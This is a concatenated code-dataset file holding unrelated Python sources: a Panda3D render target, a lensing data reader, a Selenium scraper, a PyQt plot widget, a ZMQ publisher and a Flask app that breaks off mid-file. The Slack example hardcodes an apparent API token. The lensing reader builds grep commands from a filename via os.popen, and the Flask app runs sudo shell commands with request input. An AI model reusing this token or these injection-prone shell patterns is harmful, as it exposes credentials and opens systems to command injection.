cs.setAttrib(StencilAttrib.makeOff(), 20)\n\n if not self._enableTransparency:\n cs.setAttrib(\n TransparencyAttrib.make(TransparencyAttrib.MNone), 100)\n\n if not self._writeColor:\n cs.setAttrib(ColorWriteAttrib.make(ColorWriteAttrib.COff), 100)\n\n self._sourceCam.node().setInitialState(cs.getState())\n\n # Set new camera\n bufferCam = self._makeFullscreenCam()\n bufferCamNode = self._quad.attachNewNode(bufferCam)\n self._region.setCamera(bufferCamNode)\n self._region.setSort(5)\n\n # Set clears\n bufferRegion = self._buffer.getInternalBuffer().getDisplayRegion(0)\n self._correctClears()\n\n bufferRegion.setClearStencilActive(False)\n # self._sourceWindow.setClearStencilActive(False)\n\n # Set aux clears\n targetCheck = [\n (RenderTargetType.Aux0, GraphicsOutput.RTPAuxRgba0),\n (RenderTargetType.Aux1, GraphicsOutput.RTPAuxRgba1),\n (RenderTargetType.Aux2, GraphicsOutput.RTPAuxRgba2),\n (RenderTargetType.Aux3, GraphicsOutput.RTPAuxRgba3),\n ]\n for target, targetBindPos in targetCheck:\n if self.hasTarget(target):\n bufferRegion.setClearActive(targetBindPos, 1)\n bufferRegion.setClearValue(\n targetBindPos, Vec4(0.5, 0.5, 1.0, 0.0))\n\n self._region.disableClears()\n\n bufferRegion.setCamera(self._sourceCam)\n bufferRegion.setActive(1)\n # bufferRegion.setClearDepthActive(False)\n bufferRegion.setSort(20)\n\n self._setSizeShaderInput()\n\n self._active = True\n self._registerBuffer()\n\n def prepareOffscreenBuffer(self):\n \"\"\" Creates an offscreen buffer for this target \"\"\"\n\n self.debug(\"Preparing offscreen buffer\")\n\n # Init buffer object\n self._createBuffer()\n\n # Prepare fullscreen quad\n self._quad = self._makeFullscreenQuad()\n\n # Prepare fullscreen camera\n bufferCam = self._makeFullscreenCam()\n initialState = NodePath(\"is\")\n\n if not self._writeColor:\n initialState.setAttrib(\n ColorWriteAttrib.make(ColorWriteAttrib.COff), 1000)\n\n initialState.setAttrib(\n DepthWriteAttrib.make(DepthWriteAttrib.MNone), 1000)\n\n bufferCam.setInitialState(initialState.getState())\n\n bufferCamNode = self._quad.attachNewNode(bufferCam)\n\n bufferRegion = self._buffer.getInternalBuffer().getDisplayRegion(0)\n bufferRegion.setCamera(bufferCamNode)\n bufferRegion.setActive(1)\n\n self._setSizeShaderInput()\n\n self._active = True\n self._registerBuffer()\n\n def setActive(self, active):\n \"\"\" You can enable / disable the buffer with this. When disabled,\n shaders on this buffer aren't executed \"\"\"\n if self._active is not active:\n self._buffer.getInternalBuffer().getDisplayRegion(\n 0).setActive(active)\n self._region.setActive(active)\n self._active = active\n\n def getQuad(self):\n \"\"\" Returns the quad-node path. You can use this to set shader inputs\n and so on, although you should use setShaderInput for that \"\"\"\n return self._quad\n\n def getTexture(self, target):\n \"\"\" Returns the texture assigned to a target. target should be a\n RenderTargetType \"\"\"\n if target not in self._targetFlags:\n self.error(\n \"The target\", target, \"isn't bound to this RenderTarget!\")\n return\n\n return self._buffer.getTarget(target)\n\n def _makeFullscreenQuad(self):\n \"\"\" Create a quad which fills the full screen \"\"\"\n cm = CardMaker(\"BufferQuad\")\n cm.setFrameFullscreenQuad()\n quad = NodePath(cm.generate())\n quad.setDepthTest(0)\n quad.setDepthWrite(0)\n quad.setAttrib(TransparencyAttrib.make(TransparencyAttrib.MNone), 1000)\n quad.setColor(Vec4(1, 0.5, 0.5, 1))\n\n # No culling check\n quad.node().setFinal(True)\n quad.node().setBounds(OmniBoundingVolume())\n quad.setBin(\"unsorted\", 10)\n return quad\n\n def _makeFullscreenCam(self):\n \"\"\" Create a orthographic camera for this buffer \"\"\"\n bufferCam = Camera(\"BufferCamera\")\n lens = OrthographicLens()\n lens.setFilmSize(2, 2)\n lens.setFilmOffset(0, 0)\n lens.setNearFar(-1000, 1000)\n bufferCam.setLens(lens)\n bufferCam.setCullBounds(OmniBoundingVolume())\n return bufferCam\n\n def _findRegionForCamera(self):\n \"\"\" Finds the region of the supplied camera \"\"\"\n for i in range(self._sourceWindow.getNumDisplayRegions()):\n dr = self._sourceWindow.getDisplayRegion(i)\n drcam = dr.getCamera()\n if (drcam == self._sourceCam):\n return dr\n return None\n\n def _correctClears(self):\n \"\"\" Setups the clear values correctly \"\"\"\n region = self._buffer.getInternalBuffer().getDisplayRegion(0)\n\n clears = []\n\n for i in range(GraphicsOutput.RTPCOUNT):\n active, value = self._sourceWindow.getClearActive(\n i), self._sourceWindow.getClearValue(i)\n\n if not active:\n active, value = self._region.getClearActive(\n i), self._region.getClearValue(i)\n\n region.setClearActive(i, active)\n region.setClearValue(i, value)\n\n return clears\n\n def setClearDepth(self, clear=True):\n \"\"\" Adds a depth clear \"\"\"\n self.getInternalRegion().setClearDepthActive(clear)\n if clear:\n self.getInternalBuffer().setClearDepth(0.0)\n\n def setClearColor(self, clear=True, color=None):\n \"\"\" Adds a color clear \"\"\"\n self.getInternalRegion().setClearColorActive(clear)\n if clear:\n if color is None:\n color = Vec4(0)\n self.getInternalBuffer().setClearColor(color)\n\n def setClearAux(self, auxNumber, clear=True):\n \"\"\" Adds a color clear \"\"\"\n self.getInternalRegion().setClearActive(auxNumber, clear)\n\n def removeQuad(self):\n \"\"\" Removes the fullscren quad after creation, this might be required\n when rendering to a scene which is not the main scene \"\"\"\n self.getQuad().node().removeAllChildren()\n\n def _setSizeShaderInput(self):\n \"\"\" Makes the buffer size available as shader input in the shader \"\"\"\n bufferSize = self._buffer.getSize()\n asInput = Vec4(\n 1.0 / bufferSize.x, 1.0 / bufferSize.y, bufferSize.x, bufferSize.y)\n self.setShaderInput(\"bufferSize\", asInput)\n\n def _registerBuffer(self):\n \"\"\" Internal method to register the buffer at the buffer viewer \"\"\"\n BufferViewerGUI.registerBuffer(self._name, self)\n\n def _unregisterBuffer(self):\n \"\"\" Internal method to unregister the buffer from the buffer viewer \"\"\"\n BufferViewerGUI.unregisterBuffer(self._name)\n\n def isActive(self):\n \"\"\" Returns wheter this buffer is currently active \"\"\"\n return self._active\n\n def updateSize(self):\n \"\"\" Updates the size of this render target. TODO \"\"\"\n raise NotImplementedError(\"Not working yet\")\n\n \"\"\"\n wantedX = self._sourceWindow.getXSize(\n ) if self._width < 1 else self._width\n wantedY = self._sourceWindow.getYSize(\n ) if self._height < 1 else self._height\n self._buffer.setSize(wantedX, wantedY)\n self._setSizeShaderInput()\n \"\"\"\n\n def deleteBuffer(self):\n \"\"\" Deletes this buffer, restoring the previous state \"\"\"\n self.warn(\"Todo:: Implement delete Buffer\")\n\n self._engine.removeWindow(self._buffer.getInternalBuffer())\n del self._buffer\n\n self._active = False\n self._unregisterBuffer()\n\n def __repr__(self):\n \"\"\" Returns a representative string of this instance \"\"\"\n return \"RenderTarget('\" + self._name + \"')\"\n","sub_path":"Code/RenderTarget.py","file_name":"RenderTarget.py","file_ext":"py","file_size_in_byte":18398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"169289388","text":"import os\nimport sys\n#sys.path.insert(0, '../')\nimport numpy as np\nimport h5py\n\nclass readfile:\n \"\"\"\n PURPOSE:\n Read the different files produced in the pipeline of strong lensed SNIa\n USE:\n import SLSNreadfile as rf\n INPUT:\n filename\n \"\"\"\n def init(self):\n pass\n\n\ndef Simulation_Specs(filename):\n data = open(filename, 'r')\n Settings = data.readlines()\n sim_dir = []\n sim_phy = []\n sim_name = []\n sim_col = []\n hf_name = []\n hf_dir = []\n lc_dir = []\n glafic_dir = []\n for k in range(len(Settings)):\n if 'Python' in Settings[k].split():\n HQ_dir = Settings[k+1].split()[0]\n if 'Simulation' in Settings[k].split():\n [simphy, simname] = Settings[k+1].split()\n sim_phy.append(simphy)\n sim_name.append(simname)\n [simdir, simcol, simunit] = Settings[k+2].split()\n sim_dir.append(simdir)\n sim_col.append(simcol)\n [hfdir, hf_name] = Settings[k+3].split()\n hf_dir.append(hfdir)\n lcdir = Settings[k+4].split()[0]\n lc_dir.append(lcdir)\n glaficdir = Settings[k+5].split()[0]\n glafic_dir.append(glaficdir)\n return sim_dir, sim_phy, sim_name, sim_col, hf_dir, hf_name, lc_dir, glafic_dir, HQ_dir\n\n\ndef LightCone_without_SN(filename, hfname):\n print(filename)\n data = h5py.File(filename, 'r')\n if hfname == 'Subfind':\n # Get the data\n snapnum = data['snapnum'].value # []\n Halo_ID = data['Halo_ID'].value # []\n Halo_z = data['Halo_z'].value # []\n Mvir = data['Mvir'].value # [Msun/h]\n HaloPosBox = data['HaloPosBox'].value # [x, y, z] [Mpc] com. distance\n HaloPosLC = data['HaloPosLC'].value # [x, y, z] [Mpc] com. distance\n HaloVel = data['HaloVel'].value # [x, y, z] [Mpc] com. distance\n Vmax = data['Vmax'].value # [km/s] com. distance\n Vrms = data['Vrms'].value # [km/s] com. distance\n Rhalfmass = data['Rhalfmass'].value # [kpc/h] com. distance\n Rvmax = data['Rvmax'].value # [kpc/h] com. distance\n LCHalos = {'snapnum' : snapnum,\n 'Halo_ID' : Halo_ID,\n 'Halo_z' : Halo_z,\n 'M200' : Mvir,\n 'Rhalfmass' : Rhalfmass,\n 'Rvmax' : Rvmax,\n 'Vmax' : Vmax,\n 'HaloPosBox' : HaloPosBox,\n 'HaloPosLC' : HaloPosLC,\n 'HaloVel' : HaloVel,\n 'Vrms' : Vrms}\n return LCHalos\n elif hfname == 'Rockstar':\n # Get the data\n snapnum = data['snapnum'].value # []\n Halo_ID = data['Halo_ID'].value # []\n Halo_z = data['Halo_z'].value # []\n Mvir = data['Mvir'].value # [Msun/h]\n HaloPosBox = data['HaloPosBox'].value # [x, y, z] [Mpc] com. distance\n HaloPosLC = data['HaloPosLC'].value # [x, y, z] [Mpc] com. distance\n HaloVel = data['HaloVel'].value # [x, y, z] [Mpc] com. distance\n Vmax = data['Vmax'].value # [km/s] com. distance\n Vrms = data['Vrms'].value # [km/s] com. distance\n Rvir = data['Rvir'].value # [kpc/h] com. distance\n Rsca = data['Rs'].value # [kpc/h] com. distance\n Rvmax = data['Rvmax'].value # [kpc/h] com. distance\n Ellip = data['ellipticity'].value # [x, y, z] [Mpc] com. distance\n Pa = data['position_angle'].value # [radiants]return\n LCHalos = {'snapnum' : snapnum,\n 'Halo_ID' : Halo_ID,\n 'Halo_z' : Halo_z,\n 'M200' : Mvir,\n 'Rvir' : Rvir,\n 'Rsca' : Rsca,\n 'Rvmax' : Rvmax,\n 'Vmax' : Vmax,\n 'HaloPosBox' : HaloPosBox,\n 'HaloPosLC' : HaloPosLC,\n 'HaloVel' : HaloVel,\n 'Vrms' : Vrms,\n 'Ellip' : Ellip,\n 'Pa' : Pa}\n return LCHalos\n\n\ndef LightCone_with_SN_lens(filename, hfname):\n if hfname == 'Subfind':\n data = h5py.File(filename, 'r')\n Halo_ID = data['Halo_ID'].value\n Halo_Subfind_ID = data['Halo_Subfind_ID'].value\n snapnum = data['snapnum'].value\n Halo_z = data['Halo_z'].value\n M200 = data['M200'].value #[Msun/h]\n Rhalfmass = data['Rhalfmass'].value*1e-3 #[Mpc/h]\n Rvmax = data['Rvmax'].value*1e-3 #[Mpc/h]\n Vmax = data['Vmax'].value #[km/s]\n HaloPosBox = data['HaloPosBox'].value #[Mpc/h]\n HaloPosLC = data['HaloPosLC'].value #[Mpc/h]\n HaloVel = data['HaloVel'].value #[Mpc/h]\n VelDisp= data['VelDisp'].value #[km/h]\n FOV = data['FOV'].value #[arcsec]\n Src_ID = data['Src_ID'].value\n Src_z = data['Src_z'].value\n SrcPosSky = data['SrcPosSky'].value\n Einstein_angle = data['Einstein_angle'].value #[arcsec]\n #Einstein_radius = data['Einstein_radius'].value #[kpc]\n LC = {'Halo_ID' : Halo_ID,\n 'Halo_Subfind_ID' : Halo_Subfind_ID,\n 'snapnum' : snapnum,\n 'Halo_z' : Halo_z,\n 'M200' : M200, #[Msun/h]\n 'Rhalfmass' : Rhalfmass,\n 'Rvmax' : Rvmax,\n 'Vmax' : Vmax, #[km/s]\n 'HaloPosBox' : HaloPosBox,\n 'HaloPosLC' : HaloPosLC,\n 'HaloVel' : HaloVel,\n 'VelDisp' : VelDisp, #[km/s]\n 'FOV' : FOV, #[arcsec]\n 'Src_ID' : Src_ID,\n 'Src_z' : Src_z,\n 'SrcPosSky' : SrcPosSky,\n 'Einstein_angle' : Einstein_angle}\n #'Einstein_radius' : Einstein_radius}\n return LC\n elif hfname == 'Rockstar':\n data = h5py.File(filename, 'r')\n Halo_ID = data['Halo_ID'].value\n Halo_Rockstar_ID = data['Halo_Rockstar_ID'].value\n snapnum = data['snapnum'].value\n Halo_z = data['Halo_z'].value\n M200 = data['M200'].value #[Msun/h]\n Rvir = data['Rvir'].value*1e-3 #[Mpc/h]\n Rsca = data['Rsca'].value*1e-3 #[Mpc/h]\n Rvmax = data['Rvmax'].value*1e-3 #[Mpc/h]\n Vmax = data['Vmax'].value #[km/s]\n HaloPosBox = data['HaloPosBox'].value #[Mpc/h]\n HaloPosLC = data['HaloPosLC'].value #[Mpc/h]\n HaloVel = data['HaloVel'].value #[Mpc/h]\n VelDisp= data['VelDisp'].value #[km/h]\n Ellip = data['Ellip'].value\n Pa = data['Pa'].value\n FOV = data['FOV'].value #[arcsec]\n Src_ID = data['Src_ID'].value\n Src_z = data['Src_z'].value\n SrcPosSky = data['SrcPosSky'].value\n Einstein_angle = data['Einstein_angle'].value #[arcsec]\n #Einstein_radius = data['Einstein_radius'].value #[kpc]\n LC = {'Halo_ID' : Halo_ID,\n 'Halo_Rockstar_ID' : Halo_Rockstar_ID,\n 'snapnum' : snapnum,\n 'Halo_z' : Halo_z,\n 'M200' : M200, #[Msun/h]\n 'Rvir' : Rvir,\n 'Rsca' : Rsca,\n 'Rvmax' : Rvmax,\n 'Vmax' : Vmax, #[km/s]\n 'HaloPosBox' : HaloPosBox,\n 'HaloPosLC' : HaloPosLC,\n 'HaloVel' : HaloVel,\n 'VelDisp' : VelDisp, #[km/s]\n 'Ellip' : Ellip,\n 'Pa' : Pa,\n 'FOV' : FOV, #[arcsec]\n 'Src_ID' : Src_ID,\n 'Src_z' : Src_z,\n 'SrcPosSky' : SrcPosSky,\n 'Einstein_angle' : Einstein_angle}\n #'Einstein_radius' : Einstein_radius}\n return LC\n\n\ndef LightCone_with_SN_source(filename):\n data = open(filename, 'r')\n lines = data.readlines()\n source_id = np.zeros(len(lines))\n source_red = np.zeros(len(lines))\n source_pos = np.zeros((len(lines), 2))\n theta_E = np.zeros(len(lines))\n radius_E = np.zeros(len(lines))\n for k in range(len(lines))[1:]:\n [ids, z, x, y, theta, radius] = lines[k].split()\n source_id[k] = int(ids)\n source_red[k] = float(z)\n source_pos[k, :] = [float(x), float(y)]\n theta_E[k] = float(theta)\n radius_E[k] = float(radius)\n return source_id, source_red, source_pos, theta_E, radius_E\n\n\ndef Glafic_lens(filename, dataformat):\n data = open(filename, 'r')\n lines = data.readlines()\n iid = []\n AE = []\n ME = []\n for k in range(len(lines))[1:]:\n [ids, einstein_angle, mass_in_RE] = lines[k].split()\n iid.append(int(ids))\n AE.append(float(einstein_angle))\n ME.append(float(mass_in_RE)) # [Msun/h]\n iid = np.asarray(iid)\n AE = np.asarray(AE)\n ME = np.asarray(ME)\n if dataformat == 'dictionary':\n Glafic = {'ID' : iid,\n 'AE' : AE,\n 'ME' : ME}\n return Glafic\n else:\n return iid, AE, ME\n\n\ndef Glafic_source(filename, dataformat):\n \"\"\"\n Read the files containing Glafic (M. Oguri) results\n Input:\n filename: path to file\n dataformat: single arrays or dictionary\n \"\"\"\n data = open(filename, 'r')\n lines = data.readlines()\n iid = []\n AE = []\n ME = []\n for k in range(len(lines))[1:]:\n [ids, einstein_angle, mass_in_RE] = lines[k].split()\n iid.append(int(ids))\n AE.append(float(einstein_angle))\n ME.append(float(mass_in_RE)) # [Msun/h]\n iid = np.asarray(iid)\n AE = np.asarray(AE)\n ME = np.asarray(ME)\n if dataformat == 'dictionary':\n Glafic = {'ID' : iid,\n 'AE' : AE,\n 'ME' : ME}\n return Glafic\n else:\n return iid, AE, ME\n\n\ndef simulation_units(name):\n \"\"\"\n Read parameter file of simulation to find the units of outputs\n\n Input:\n name - name of simulation directory or parameter filename\n Output:\n unit_length - unit of distance (e.g. kpc, Mpc)\n \"\"\"\n if os.path.isdir(name):\n dirname = name\n if os.path.exists(dirname+'/arepo/param.txt'):\n filename = dirname+'arepo/param.txt'\n shell_command = 'grep UnitLength_in_cm ' + filename\n line = os.popen(shell_command).read()\n strings = line.split()\n unit_conversion = float(strings[1])\n exp = np.floor(np.log10(np.abs(unit_conversion))).astype(int)\n if exp == 21: # output in [kpc]\n scale_length = 1e-3\n elif exp == 23: # output in [Mpc]\n scale_length = 1.0\n else:\n print( \"directory of parameter file not found -> \", dirname)\n elif os.path.isfile(name):\n filename = name\n if os.path.exists(filename):\n shell_command = 'grep UnitLength_in_cm ' + filename\n line = os.popen(shell_command).read()\n strings = line.split()\n unit_conversion = float(strings[1])\n exp = np.floor(np.log10(np.abs(unit_conversion))).astype(int)\n if exp == 21: # output in [kpc]\n scale_length = 1e-3\n elif exp == 23: # output in [Mpc]\n scale_length = 1.0\n elif (not os.path.exists(filename)):\n print( \"parameter file not found -> \", filename)\n return scale_length\n","sub_path":"readlensing.py","file_name":"readlensing.py","file_ext":"py","file_size_in_byte":11201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"64042981","text":"from slack_interface import SlackInterface\n#from fbchat_interface import FbChat\n\ndef print_message(new_message):\n print(new_message)\n\nif __name__ == '__main__':\n test = SlackInterface(token='xoxp-22358872627-22361978247-22365122022-2a69e91300')\n test.get_history(\"general\", 10)\n sasdf= False\n","sub_path":"whisp/back_end/slack_example.py","file_name":"slack_example.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"535632992","text":"#coin flipper.\n#the program flips a coin 100 times and returns how many times it was heads or tails\n\nimport random\n\nheads = 0\ntails = 0\ntimes_flipped = 0\n\nwhile times_flipped < 100:\n flip = random.randint(1,2)\n if flip == 1:\n heads += 1\n else:\n tails += 1\n times_flipped += 1\n\nprint(\"Heads: \" + str(heads))\nprint(\"Tails: \" + str(tails))\n\n","sub_path":"coin_flipper.py","file_name":"coin_flipper.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"177424780","text":"#!/usr/bin/env python3\n\nimport os\nimport zmq\nimport time\n\nimport configparser\nimport signal\nfrom sys import exit\nfrom time import sleep\n\nconfigFile = 'config.ini'\n\ndef exists(file):\n return os.path.exists(file)\n\nif __name__ == \"__main__\":\n if not exists(configFile):\n print('Missing file: {}'.format(configFile))\n exit(1)\n\n config = configparser.ConfigParser()\n config.read(configFile)\n try:\n workDir = config['general']['working_dir']\n doneDir = config['general']['done_dir']\n interval = int(config['general']['read_interval'])\n splitSignal = config['general']['split_signal']\n name = config['gps']['file_name']\n pubPort = config['gps']['publisher_port']#\n except KeyError as err:\n print('Missing key: {}'.format(err))\n exit(1)\n\n def kill_handler(signal, stackFrame):\n global shouldEndFile\n global shouldStop\n shouldEndFile = True\n shouldStop = True\n signal.signal(signal.SIGTERM, kill_handler)\n signal.signal(signal.SIGINT, kill_handler)\n\n def split_handler(signal, stackFrame):\n global shouldEndFile\n shouldEndFile = True\n signal.signal(signal.Signals[splitSignal], split_handler)\n\n # Start publisher\n context = zmq.Context()\n socket = context.socket(zmq.PUB)\n socket.bind(\"tcp://127.0.0.1:\" + pubPort)\n\n shouldStop = False\n\n axes = {'x': 500.55, 'y':1000.1010, 'z':1500.1515}\n while True:\n if shouldStop:\n exit(0)\n msg = '{:.3f},{:f},{:f},{:f}\\n'.format(time.time(), axes['x'], axes['y'], axes['z'])\n print(\"Before send: %s\" % msg)\n #socket.send_string(msg)\n socket.send_string(\"FROM GPS\")\n print(\"After send: %s\" % msg)\n sleep(interval)\n","sub_path":"code/FleetCollection/gps3.py","file_name":"gps3.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"397745184","text":"\"\"\"\n// Source: https://leetcode.com/problems/kth-smallest-element-in-a-bst/\n// Author: Nan Wei\n// Date: 2019-04-10\n\n/* 230. Kth Smallest Element in a BST\n * Given a binary search tree, write a function kthSmallest to find the kth smallest element in it.\n * \n * Note: You may assume k is always valid, 1 ≤ k ≤ BST's total elements.\n * \n * Example 1:\n\n * Input: root = [3,1,4,null,2], k = 1\n * 3\n * / \\\n * 1 4\n * \\\n * 2\n * Output: 1\n * Example 2:\n * \n * Input: root = [5,3,6,2,4,null,null,1], k = 3\n * 5\n * / \\\n * 3 6\n * / \\\n * 2 4\n * /\n * 1\n * Output: 3\n */\n\n/* Solution: perform in-order traversal on the BST (see problem 094 for details). Stop when the kth element has been reached.\n*/\n\"\"\"\n\nclass Solution:\n def kthSmallest(self, root: TreeNode, k: int) -> int:\n curNode = root\n stack = [root]\n res = []\n while stack:\n while curNode and curNode.left:\n stack.append(curNode.left)\n curNode = curNode.left\n curNode = stack.pop()\n res.append(curNode.val)\n if len(res)==k:\n return res[-1]\n if curNode.right:\n stack.append(curNode.right)\n curNode = curNode.right\n return -1\n","sub_path":"230_kth_smallest_element_in_a_bst/python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"618092217","text":"import time\n\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\n\nfrom . import config\nfrom .base_page import BasePage\n\nclass PickMealPage(BasePage):\n def __init__(self, driver, user, order_overview_page):\n BasePage.__init__(self, driver, user)\n self.order_overview_page = order_overview_page\n\n def get_meal_list_for_selected_day(self, selected_day):\n self.navigate_to_selected_day(selected_day)\n\n return self.extract_available_meals()\n\n def navigate_to_selected_day(self, selected_day):\n self.order_overview_page.navigate_to_overview()\n day_picker_elements = self.order_overview_page.get_day_picker_elements()\n\n # Select day picker for a selected day and click it.\n selected_day_picker_elem = day_picker_elements[selected_day]\n selected_day_picker_elem.click()\n\n wait = WebDriverWait(self.driver, config.DEFAULT_WAITING_TIME)\n menu_button_element = wait.until(\n EC.presence_of_element_located((By.LINK_TEXT, 'JELOVNIK'))\n )\n menu_button_element.click()\n\n def extract_available_meals(self):\n meal_picker_elements = self.get_meal_picker_elements()\n meals = [\n self.extract_meal_details(meal_picker_element)\n for meal_picker_element in meal_picker_elements\n ]\n\n return meals\n\n def get_meal_picker_elements(self):\n meal_picker_element_xpath = (\n \"//div[contains(@class, \"\n \"'DailyLunchesNavigationLink-module__container')]\"\n )\n elements = self.driver.find_elements_by_xpath(meal_picker_element_xpath)\n\n return elements\n\n def extract_meal_details(self, meal_picker_elem):\n # Make a meal active by clicking a day picker elem.\n meal_picker_elem.click()\n\n # Give a browser enough time to refresh the meal\n # elements.\n time.sleep(1)\n\n # Wait until an animation completes.\n animation_element_xpath = (\n \"//section[contains(@class, 'translate-top-down-enter-active')]\"\n )\n wait = WebDriverWait(self.driver, config.DEFAULT_WAITING_TIME)\n wait.until(\n EC.invisibility_of_element_located(\n (By.XPATH, animation_element_xpath)\n )\n )\n\n meal_name_element_xpath = (\n \"//section[contains(@class, \"\n \"'DailyLunchInfo-module__container')]//h1\"\n )\n meal_name_element = self.driver.find_element_by_xpath(\n meal_name_element_xpath\n )\n\n background_image_element = self.driver.find_element_by_class_name(\n 'l-daily-lunch-image'\n )\n\n background_image_url = background_image_element.value_of_css_property(\n 'background-image'\n )[5:-2]\n\n salad_element = self.driver.find_element_by_xpath(\n (\"//span[contains(@class, \"\n \"'DailyLunchInfo-module__subtitle')]\")\n )\n\n calories_element = self.driver.find_element_by_xpath(\n (\"//h1[contains(@class, \"\n \"'DailyLunchNutrientsTable-module__calorificValueContainer')]\")\n )\n\n return {\n 'name': meal_name_element.text,\n 'image': background_image_url,\n 'calories': calories_element.text,\n 'side_dish': salad_element.text\n }\n","sub_path":"lunchhr_slack_command/lunchhr/pages/pick_meal_page.py","file_name":"pick_meal_page.py","file_ext":"py","file_size_in_byte":3434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"188379951","text":"import numpy as np\nfrom PyQt5 import QtWidgets, QtGui\nfrom matplotlib.axes import Axes\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg, NavigationToolbar2QT\nfrom matplotlib.figure import Figure\nfrom matplotlib.lines import Line2D\nfrom sastool.classes2 import Curve\n\nfrom .plotcurve_ui import Ui_Form\n\n\nclass PlotCurve(QtWidgets.QWidget, Ui_Form):\n def __init__(self, *args, **kwargs):\n QtWidgets.QWidget.__init__(self, *args, **kwargs)\n self.setupUi(self)\n\n def setupUi(self, Form):\n Ui_Form.setupUi(self, Form)\n self.figure = Figure()\n self.canvas = FigureCanvasQTAgg(self.figure)\n self.axes = self.figure.add_subplot(1, 1, 1)\n self.figureContainer.setLayout(QtWidgets.QVBoxLayout())\n self.figureContainer.layout().addWidget(self.canvas)\n self.figureToolbar = NavigationToolbar2QT(self.canvas, self.figureContainer)\n self.figureContainer.layout().addWidget(self.figureToolbar)\n assert isinstance(self.figureToolbar, QtWidgets.QToolBar)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(\":/icons/legend.svg\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.legendAction = QtWidgets.QAction(icon, 'Show legend', None)\n self.legendAction.setCheckable(True)\n self.legendAction.setChecked(True)\n self.legendAction.triggered.connect(self.onLegendTriggered)\n icon = QtGui.QIcon.fromTheme(\"edit-clear-all\")\n self.clearAxesAction = QtWidgets.QAction(icon, 'Clear all curves', None)\n self.clearAxesAction.triggered.connect(self.onClearAxes)\n toolbutton = QtWidgets.QToolButton()\n toolbutton.setDefaultAction(self.legendAction)\n self.figureToolbar.insertWidget(self.figureToolbar.actions()[0], toolbutton)\n toolbutton = QtWidgets.QToolButton()\n toolbutton.setDefaultAction(self.clearAxesAction)\n self.figureToolbar.insertWidget(self.figureToolbar.actions()[0], toolbutton)\n self.legendAction.setVisible(True)\n self.clearAxesAction.setVisible(True)\n self.figureToolbar.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Maximum)\n self.canvas.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n self.canvas.mpl_connect('resize_event', self.onCanvasResize)\n\n def onCanvasResize(self, event):\n self.figure.tight_layout()\n self.canvas.draw()\n\n def onClearAxes(self):\n self.axes.clear()\n self.canvas.draw()\n\n def addFitCurve(self, x, y, **kwargs):\n this_is_the_first = (len(self.axes.lines)==0)\n self.axes.plot(x, y, **kwargs)\n if this_is_the_first:\n self.figureToolbar.update()\n self.onLegendTriggered()\n\n def addCurve(self, curve: Curve, label='_nolabel_', hold_mode=True, **kwargs):\n if not hold_mode:\n for l in self.axes.lines:\n l.remove()\n this_is_the_first = (len(self.axes.lines)==0)\n curve.loglog(axes=self.axes, label=label, **kwargs)\n if this_is_the_first:\n self.figureToolbar.update()\n self.onLegendTriggered()\n\n def onLegendTriggered(self):\n assert isinstance(self.legendAction, QtWidgets.QAction)\n if self.legendAction.isChecked():\n self.axes.legend(loc='best')\n else:\n self.axes.legend().remove()\n self.canvas.draw()\n\n def setXLabel(self, xlabel):\n assert isinstance(self.axes, Axes)\n self.axes.set_xlabel(xlabel)\n self.canvas.draw()\n\n def setYLabel(self, ylabel):\n assert isinstance(self.axes, Axes)\n self.axes.set_ylabel(ylabel)\n self.canvas.draw()\n\n def getZoomRange(self):\n xmin, xmax, ymin, ymax = self.axes.axis()\n for line in self.axes.lines:\n assert isinstance(line, Line2D)\n x = line.get_xdata()\n y = line.get_ydata()\n idx = np.logical_and(np.logical_and(x >= xmin, x <= xmax), np.logical_and(y >= ymin, y <= ymax))\n if idx.sum():\n return x[idx].min(), x[idx].max(), y[idx].min(), y[idx].max()\n return (xmin, xmax, ymin, ymax)\n\n def clear(self):\n self.axes.clear()\n self.canvas.draw()\n","sub_path":"cct/qtgui/core/plotcurve/plotcurve.py","file_name":"plotcurve.py","file_ext":"py","file_size_in_byte":4240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"36686155","text":"from flask import Flask, request, render_template, request, make_response, session,send_from_directory\r\nimport os, json\r\nfrom time import clock\r\nimport commands\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef main():\r\n return render_template('mapreduce_prog.html')\r\n # return app.send_static_file('index.html')\r\n\r\n@app.route('/select',methods=['POST'])\r\ndef mapreduce_program():\r\n start = clock()\r\n mp = request.form['map']\r\n red = request.form['red']\r\n arg1 = request.form['arg1']\r\n arg2 = request.form['arg2']\r\n zip = request.form['zip']\r\n #print argument1,argument2\r\n #os.system(\"hadoop jar /usr/local/hadoop/share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar -D stream.map.output.field.separator=',' -files /home/ubuntu/mapper.py,/home/ubuntu/reducer.py -input /input3/allweek.csv -output /input5/week_output_new11 -mapper mapper.py -reducer reducer.py\")\r\n\r\n #os.system(\"sudo /home/ubuntu/dataout.csv\")\r\n\r\n #os.system(\"sudo -S -u -ubuntu hdfs dfs -mkdir /input1\")\r\n\r\n #Simple hadoop command for 1 mapper and 1 reducer\r\n #output = commands.getoutput('sudo -S -u ubuntu home/ubuntu/hadoop-2.7.3/bin/hadoop jar 